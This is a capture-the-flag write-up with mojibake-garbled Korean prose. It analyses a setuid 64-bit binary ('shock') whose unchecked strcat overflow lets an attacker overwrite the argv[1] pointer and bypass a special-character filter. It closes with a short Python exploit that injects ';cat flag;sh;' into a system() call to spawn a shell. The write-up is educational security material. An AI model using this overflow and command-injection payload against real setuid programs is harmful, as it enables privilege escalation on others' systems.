setuid ๊ฐ ๊ฑธ๋ ค์๋ 64bit ELF ๋ฐ์ด๋๋ฆฌ์ด๋ค.
์์ค์ฝ๋๋ฅผ ๊ฐ๋จํ ๋ถ์ํด๋ณด๋ฉด,
๊ฐ์ฅ ๋จผ์ , sub_40075c() ํจ์๋ก ์ง์ ํ์ฌ ํ๊ฒฝ๋ณ์ ์์ญ์ ์ด๊ธฐํ ํ๋ค. ๊ทธ ํ argv[1] ์ ๊ฐ์ด ์๋์ง ํ์ธํ ํ, ๊ฐ์ด ์กด์ฌํ๋ค๋ฉด strcat() ํจ์๋ฅผ ์ฌ์ฉํ์ฌ argv[1] ์ ๊ฐ์ &command ์ ๋ฃ๊ฒ ๋๋๋ฐ ์ฌ๊ธฐ์ ํฌ๊ธฐ ๊ฒ์ฆ์ ํ์ง ์๊ธฐ์ stack overflow๊ฐ ๋ฐ์ํ๋ค. ๊ทธ ํ __ctype_b_loc ํจ์๋ฅผ ํตํด ํน์๋ฌธ์ ๊ฒ์ฌ๋ฅผ ํ๊ณ , ํน์๋ฌธ์๊ฐ ์กด์ฌํ์ง ์๋๋ค๋ฉด syst
em() ํจ์๋ฅผ ํตํด ์ด๋ค ๋ช ๋ น์ ์คํ์ํฌ ์ ์๋ค.
ASLR, NX ๊ฐ ๊ฑธ๋ ค์๊ณ , Canary ๋ํ ์กด์ฌํ๋ค.
for ๋ฌธ์ ํ์ธํด๋ณด๋ฉด, strlen(argv[1])์ ๊ตฌํด์ ํน์๋ฌธ์๋ฅผ ๊ฒ์ฌํ๊ฒ ๋๋๋ฐ argv[1] ์ ์ฃผ์๋ ์คํ์ ์๋ค.
์ฆ, argv[1] ์ ์ฃผ์๊น์ง ์ ๊ทผํ์ฌ ์ฃผ์๋ฅผ ์กฐ์ํ ์ ์๋ค.
์ ํํ argv[1] ์ ์ฃผ์๋ฅผ ์กฐ์ํ๊ธฐ ์ํด์ &command ๋ถํฐ argv[1] ์ offset ์ ๊ตฌํด์ผํ๋ค.
$rsi = argv[1] addr
$rdi = &command
0x7fffef7f1190 ์ฃผ์์ &argv[1] ์ด ์กด์ฌํ๋ค.
offset = 0x7fffef7f1190 - $rdi(0x7fffef7f0f80) = 528byte
๊ทธ๋ฌ๋, command ์ ์ด๋ฏธ "id " ๋ฌธ์์ด์ด ๋ค์ด๊ฐ ์๊ธฐ ๋๋ฌธ์ 3byte ๋งํผ ๋นผ์ฃผ๋ฉด 525byte ๊ฐ ์ ํํ offset ์์ ์ ์ ์๋ค.
"A" * 525byte + "BBBBBB" => argv[1]์ ์ฃผ์๋ฅผ ์กฐ์ํ ๊ฒ์ ํ์ธํ ์ ์๋ค.
strlen(argv[1]) ๋ฆฌํด ๊ฐ์ ์กฐ์ํ๊ธฐ ์ํ ์ฌ๋ฌ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์๋๋ฐ,
[*] argv[1] ์ฃผ์๋ฅผ Null ๋ก ์ด๊ธฐํ ๋ ํ๊ฒฝ๋ณ์ ์์ญ์ผ๋ก ์กฐ์
[*] 64bit ๊ณ ์ ๋ ์ฃผ์์ธ vsyscall ์์ญ์ผ๋ก ์กฐ์
[*] 521byte + ";sh;" ์ ๊ฐ์ด ํฌ๊ธฐ์ ๋ง์ถฐ ๋ช ๋ น์ ๋ฃ์ด์ฃผ๋ฉด ๋์ "\x00" ์ด ๋ถ์ด์ ์กฐ์ํ ์ ์๋ค.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
import os
command = ";cat flag;sh;"
payload = "./shock " + "A" * (525 - len(command)) + command
os.system(payload)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'CTF Writeup' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[CodeGate 2014 CTF] dodoCrackme (0) | 2016.06.11 |
---|
WRITTEN BY